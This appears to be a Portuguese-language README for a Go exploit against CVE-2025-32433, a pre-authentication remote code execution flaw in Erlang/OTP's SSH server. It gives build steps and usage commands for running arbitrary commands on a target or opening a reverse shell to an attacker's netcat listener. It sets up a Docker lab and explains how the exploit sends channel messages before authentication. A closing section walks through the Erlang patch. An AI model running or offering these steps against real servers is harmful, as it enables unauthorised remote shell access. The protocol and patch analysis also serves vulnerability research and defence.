
Exploit baseado em Go para CVE-2025-32433
Exploit baseado em Go para CVE-2025-32433 que retorna um shell bash remoto.
Fortemente inspirado pelo entendimento do exploit derivado do PoC da ProDefense para CVE-2025-32433.
make
O
exploit.exetambém é disponibilizado para máquinas Windows pelo Makefile de compilação cruzada.
em seguida, execute o binário do exploit de uma das 2 formas:
Comando
./exploit <ip-alvo> <porta-alvo> "<comando>"
NOTA: não retorna a saída do comando
Shell Reverso
nc -lnvp <porta-atacante>
./exploit <ip-alvo> <porta-alvo> <ip-atacante> <porta-atacante>
Usando o Dockerfile da ProDefense, você pode configurar um ambiente através do seguinte:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Você pode então executar o exploit conforme descrito na seção Executando o Exploit: por exemplo
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1é o IP padrão do Docker Host
TL;DR "O problema é causado por uma falha no tratamento de mensagens do protocolo SSH que permite a um atacante enviar mensagens do protocolo de conexão antes da autenticação,"
Procedimento SSH Típico:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (troca de chaves)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Procedimento do Exploit:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pré-autenticação)SSH_MSG_CHANNEL_REQUEST (Pré-autenticação) --> contém o payload do comandoObserve que toda a parte USERAUTH é ignorada no exploit.
RFCs relevantes para Mensagens SSH:


SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

Formato de String (de RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Preenchimento (Padding)

A seguir está a correção introduzida nas Bibliotecas Erlang OTP no commit ssh: correção RCE precoce:

A correção introduz uma nova cláusula handle_msg que, de acordo com seus argumentos, captura:
Msg: variável coringa para qualquer mensagem SSH recebida que ainda não foi correspondida por cláusulas anteriores (como #ssh_msg_disconnect{})#ssh{authenticated = false}: estado da sessão que corresponde se a conexão ainda não foi autenticada.A cláusula não capturará sessões com authenticated = true, que é atribuído à sessão quando o servidor recebe um #ssh_msg_userauth_success{}:

que é enviado após o sucesso de qualquer um dos seguintes métodos de autenticação:
